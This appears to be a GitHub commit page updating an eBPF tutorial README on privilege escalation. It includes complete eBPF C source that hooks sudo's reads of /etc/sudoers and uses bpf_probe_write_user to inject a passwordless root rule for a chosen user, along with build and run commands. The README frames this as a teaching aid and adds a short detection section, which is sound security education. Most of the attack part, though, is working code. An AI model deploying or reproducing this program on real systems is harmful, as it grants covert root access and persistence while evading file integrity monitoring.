Skip to content

Commit cab7ab3

Browse files
committed
docs: update README for eBPF tutorial on privilege escalation via file content manipulation
1 parent 7c335e2 commit cab7ab3

File tree

2 files changed

+694
-22
lines changed

2 files changed

+694
-22
lines changed

src/26-sudo/README.md

Lines changed: 274 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,291 @@
1-
# Using eBPF to add sudo user
1+
# eBPF Tutorial: Privilege Escalation via File Content Manipulation
2+
3+
eBPF's power extends far beyond simple tracing—it can modify data flowing through the kernel in real-time. While this capability enables innovative solutions for performance optimization and security monitoring, it also opens doors to sophisticated attack vectors that traditional security tools might miss. This tutorial demonstrates one such technique: using eBPF to grant unprivileged users root access by manipulating what `sudo` sees when reading `/etc/sudoers`.
4+
5+
This example reveals how attackers could abuse eBPF's `bpf_probe_write_user` helper to bypass Linux's permission model entirely, without leaving traces in log files or modifying actual system files. Understanding these attack patterns is crucial for defenders building eBPF-aware security monitoring.
26

37
> The complete source code: <https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/26-sudo>
48
9+
## The Attack Vector: Intercepting File Reads
10+
11+
Traditional privilege escalation attacks modify `/etc/sudoers` directly, leaving obvious traces in file timestamps, audit logs, and integrity monitoring systems. This eBPF-based approach is far more subtle—it intercepts `sudo`'s read operation and replaces the file content in memory before `sudo` processes it. The actual file on disk remains unchanged, defeating most file integrity monitors.
12+
13+
The attack works by exploiting a critical window: when `sudo` reads `/etc/sudoers` into a buffer, the data briefly exists in userspace memory. eBPF programs can access and modify this userspace memory using `bpf_probe_write_user`, effectively lying to `sudo` about what permissions exist without ever touching the real file.
14+
15+
Here's the attack flow: when any process opens `/etc/sudoers`, we record its file descriptor. When that same process reads from the file, we capture the buffer address. After the read completes, we overwrite the first line with `<username> ALL=(ALL:ALL) NOPASSWD:ALL #`, making `sudo` believe the target user has full root privileges. The trailing `#` comments out whatever was originally on that line, preventing parse errors.
16+
17+
## Implementation: Hooking the System Call Path
18+
19+
Let's examine how this attack is implemented in eBPF. The complete kernel-side code coordinates four system call hooks to track file operations and inject malicious content.
20+
21+
```c
22+
// SPDX-License-Identifier: BSD-3-Clause
23+
#include "vmlinux.h"
24+
#include <bpf/bpf_helpers.h>
25+
#include <bpf/bpf_tracing.h>
26+
#include <bpf/bpf_core_read.h>
27+
#include "common.h"
28+
29+
char LICENSE[] SEC("license") = "Dual BSD/GPL";
30+
31+
// Ringbuffer Map to pass messages from kernel to user
32+
struct {
33+
__uint(type, BPF_MAP_TYPE_RINGBUF);
34+
__uint(max_entries, 256 * 1024);
35+
} rb SEC(".maps");
36+
37+
// Map to hold the File Descriptors from 'openat' calls
38+
struct {
39+
__uint(type, BPF_MAP_TYPE_HASH);
40+
__uint(max_entries, 8192);
41+
__type(key, size_t);
42+
__type(value, unsigned int);
43+
} map_fds SEC(".maps");
44+
45+
// Map to fold the buffer sized from 'read' calls
46+
struct {
47+
__uint(type, BPF_MAP_TYPE_HASH);
48+
__uint(max_entries, 8192);
49+
__type(key, size_t);
50+
__type(value, long unsigned int);
51+
} map_buff_addrs SEC(".maps");
52+
53+
// Optional Target Parent PID
54+
const volatile int target_ppid = 0;
55+
56+
// The UserID of the user, if we're restricting
57+
// running to just this user
58+
const volatile int uid = 0;
59+
60+
// These store the string we're going to
61+
// add to /etc/sudoers when viewed by sudo
62+
// Which makes it think our user can sudo
63+
// without a password
64+
const volatile int payload_len = 0;
65+
const volatile char payload[max_payload_len];
66+
67+
SEC("tp/syscalls/sys_enter_openat")
68+
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
69+
{
70+
size_t pid_tgid = bpf_get_current_pid_tgid();
71+
int pid = pid_tgid >> 32;
72+
// Check if we're a process thread of interest
73+
// if target_ppid is 0 then we target all pids
74+
if (target_ppid != 0) {
75+
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
76+
int ppid = BPF_CORE_READ(task, real_parent, tgid);
77+
if (ppid != target_ppid) {
78+
return 0;
79+
}
80+
}
81+
82+
// Check comm is sudo
83+
char comm[TASK_COMM_LEN];
84+
bpf_get_current_comm(comm, sizeof(comm));
85+
const int sudo_len = 5;
86+
const char *sudo = "sudo";
87+
for (int i = 0; i < sudo_len; i++) {
88+
if (comm[i] != sudo[i]) {
89+
return 0;
90+
}
91+
}
92+
93+
// Now check we're opening sudoers
94+
const char *sudoers = "/etc/sudoers";
95+
char filename[sudoers_len];
96+
bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]);
97+
for (int i = 0; i < sudoers_len; i++) {
98+
if (filename[i] != sudoers[i]) {
99+
return 0;
100+
}
101+
}
102+
bpf_printk("Comm %s\n", comm);
103+
bpf_printk("Filename %s\n", filename);
104+
105+
// If filtering by UID check that
106+
if (uid != 0) {
107+
int current_uid = bpf_get_current_uid_gid() >> 32;
108+
if (uid != current_uid) {
109+
return 0;
110+
}
111+
}
112+
113+
// Add pid_tgid to map for our sys_exit call
114+
unsigned int zero = 0;
115+
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
116+
117+
return 0;
118+
}
119+
120+
SEC("tp/syscalls/sys_exit_openat")
121+
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
122+
{
123+
// Check this open call is opening our target file
124+
size_t pid_tgid = bpf_get_current_pid_tgid();
125+
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
126+
if (check == 0) {
127+
return 0;
128+
}
129+
int pid = pid_tgid >> 32;
130+
131+
// Set the map value to be the returned file descriptor
132+
unsigned int fd = (unsigned int)ctx->ret;
133+
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
134+
135+
return 0;
136+
}
137+
138+
SEC("tp/syscalls/sys_enter_read")
139+
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
140+
{
141+
// Check this open call is opening our target file
142+
size_t pid_tgid = bpf_get_current_pid_tgid();
143+
int pid = pid_tgid >> 32;
144+
unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid);
145+
if (pfd == 0) {
146+
return 0;
147+
}
148+
149+
// Check this is the sudoers file descriptor
150+
unsigned int map_fd = *pfd;
151+
unsigned int fd = (unsigned int)ctx->args[0];
152+
if (map_fd != fd) {
153+
return 0;
154+
}
155+
156+
// Store buffer address from arguments in map
157+
long unsigned int buff_addr = ctx->args[1];
158+
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY);
5159

6-
Compilation:
160+
// log and exit
161+
size_t buff_size = (size_t)ctx->args[2];
162+
return 0;
163+
}
164+
165+
SEC("tp/syscalls/sys_exit_read")
166+
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
167+
{
168+
// Check this open call is reading our target file
169+
size_t pid_tgid = bpf_get_current_pid_tgid();
170+
int pid = pid_tgid >> 32;
171+
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
172+
if (pbuff_addr == 0) {
173+
return 0;
174+
}
175+
long unsigned int buff_addr = *pbuff_addr;
176+
if (buff_addr <= 0) {
177+
return 0;
178+
}
179+
180+
// This is amount of data returned from the read syscall
181+
if (ctx->ret <= 0) {
182+
return 0;
183+
}
184+
long int read_size = ctx->ret;
185+
186+
// Add our payload to the first line
187+
if (read_size < payload_len) {
188+
return 0;
189+
}
190+
191+
// Overwrite first chunk of data
192+
// then add '#'s to comment out rest of data in the chunk.
193+
// This sorta corrupts the sudoers file, but everything still
194+
// works as expected
195+
char local_buff[max_payload_len] = { 0x00 };
196+
bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr);
197+
for (unsigned int i = 0; i < max_payload_len; i++) {
198+
if (i >= payload_len) {
199+
local_buff[i] = '#';
200+
}
201+
else {
202+
local_buff[i] = payload[i];
203+
}
204+
}
205+
// Write data back to buffer
206+
long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len);
207+
208+
// Send event
209+
struct event *e;
210+
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
211+
if (e) {
212+
e->success = (ret == 0);
213+
e->pid = pid;
214+
bpf_get_current_comm(&e->comm, sizeof(e->comm));
215+
bpf_ringbuf_submit(e, 0);
216+
}
217+
return 0;
218+
}
219+
220+
SEC("tp/syscalls/sys_exit_close")
221+
int handle_close_exit(struct trace_event_raw_sys_exit *ctx)
222+
{
223+
// Check if we're a process thread of interest
224+
size_t pid_tgid = bpf_get_current_pid_tgid();
225+
int pid = pid_tgid >> 32;
226+
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
227+
if (check == 0) {
228+
return 0;
229+
}
230+
231+
// Closing file, delete fd from all maps to clean up
232+
bpf_map_delete_elem(&map_fds, &pid_tgid);
233+
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
234+
235+
return 0;
236+
}
237+
```
238+
239+
The program uses a multi-stage approach. First, `handle_openat_enter` acts as a filter—it checks that the process is `sudo`, that it's opening `/etc/sudoers`, and optionally that it matches a specific UID or parent PID. This filtering is critical because we don't want to affect every file operation on the system, only the specific case where `sudo` reads its configuration.
240+
241+
When `sudo` opens `/etc/sudoers`, the kernel returns a file descriptor. We catch this in `handle_openat_exit` and store the file descriptor in `map_fds`. This map links the process (identified by `pid_tgid`) to its sudoers file descriptor, so we know which reads to intercept.
242+
243+
The next hook, `handle_read_enter`, triggers when `sudo` calls `read()` on that file descriptor. The crucial detail here is capturing the buffer address—that's where the kernel will copy the file contents, and that's what we'll overwrite. We store this address in `map_buff_addrs`.
244+
245+
The attack executes in `handle_read_exit`. After the kernel completes the read operation and fills the buffer with the real sudoers content, we use `bpf_probe_write_user` to overwrite it. We replace the first line with our payload (`<username> ALL=(ALL:ALL) NOPASSWD:ALL #`) and fill the rest of the buffer with `#` characters to comment out the original content. From `sudo`'s perspective, it read a legitimate sudoers file that grants our user full privileges.
246+
247+
Finally, `handle_close_exit` cleans up our tracking maps when `sudo` closes the file, preventing memory leaks.
248+
249+
## Userspace Loader and Configuration
250+
251+
The userspace component is straightforward—it configures the attack parameters and loads the eBPF program. The critical part is setting up the payload string that will be injected into `sudo`'s memory. This string is stored in the eBPF program's read-only data section, making it visible to the kernel at verification time but modifiable before loading.
252+
253+
The loader accepts command-line arguments to specify the username to grant privileges, optionally restrict the attack to a specific user or process tree, and then loads the eBPF program with these parameters baked into the bytecode. When `sudo` next runs, the attack executes automatically without any further userspace interaction needed.
254+
255+
## Security Implications and Detection
256+
257+
This attack demonstrates why eBPF requires `CAP_BPF` or `CAP_SYS_ADMIN` capabilities—these programs can fundamentally alter system behavior. An attacker who gains root access even briefly could load this eBPF program and maintain persistent access even after their initial foothold is removed.
258+
259+
Detection is challenging. The file on disk remains unchanged, so traditional file integrity monitoring fails. The attack happens entirely in kernel space during normal system call execution, leaving no unusual process behavior. However, defenders can look for loaded eBPF programs with write capabilities (`bpftool prog list`), monitor for `bpf()` system calls, or use eBPF-aware security tools that can inspect loaded programs.
260+
261+
Modern security platforms like Falco and Tetragon can detect suspicious eBPF activity by monitoring program loading and examining attached hooks. The key is maintaining visibility into the eBPF subsystem itself.
262+
263+
## Compilation and Execution
264+
265+
Compile the program by running make in the tutorial directory:
7266
8267
```bash
268+
cd src/26-sudo
9269
make
10270
```
11271

12-
Usage:
272+
To test the attack (in a safe VM environment), run as root and specify a target username:
13273

14-
```sh
274+
```bash
15275
sudo ./sudoadd --username lowpriv-user
16276
```
17277

18-
This program allows a user with lower privileges to become root using `sudo`.
278+
This will intercept `sudo` operations and grant `lowpriv-user` root access without modifying `/etc/sudoers`. When `lowpriv-user` runs `sudo`, they'll be able to execute commands as root without entering a password. Other programs reading `/etc/sudoers` (like `cat` or text editors) will still see the original, unmodified file.
279+
280+
The `--restrict` flag limits the attack to only work when executed by the specified user, and `--target-ppid` can scope the attack to a specific process tree.
281+
282+
## Summary
283+
284+
This tutorial showed how eBPF's memory manipulation capabilities can subvert Linux's security model by intercepting and modifying data flowing through the kernel. While powerful for legitimate debugging and monitoring, these same features enable sophisticated attacks that bypass traditional security controls. The key takeaway for defenders is that eBPF programs themselves must be treated as a critical part of your attack surface—monitoring what eBPF programs are loaded and what capabilities they use is essential for modern Linux security.
19285

20-
It works by intercepting `sudo` reading the `/etc/sudoers` file and overwriting the first line with `<username> ALL=(ALL:ALL) NOPASSWD:ALL #`. This tricks `sudo` into thinking that the user is allowed to become root. Other programs like `cat` or `sudoedit` are not affected, so the file remains unchanged and the user does not have these permissions. The `#` at the end of the line ensures that the rest of the line is treated as a comment, so it does not break the logic of the file.
286+
> If you'd like to dive deeper into eBPF, check out our tutorial repository at <https://github.com/eunomia-bpf/bpf-developer-tutorial> or visit our website at <https://eunomia.dev/tutorials/>.
21287
22288
## References
23289

24-
- [https://github.com/pathtofile/bad-bpf](https://github.com/pathtofile/bad-bpf)
290+
- Original bad-bpf project: <https://github.com/pathtofile/bad-bpf>
291+
- eBPF helpers documentation: <https://man7.org/linux/man-pages/man7/bpf-helpers.7.html>

0 commit comments

Comments
 (0)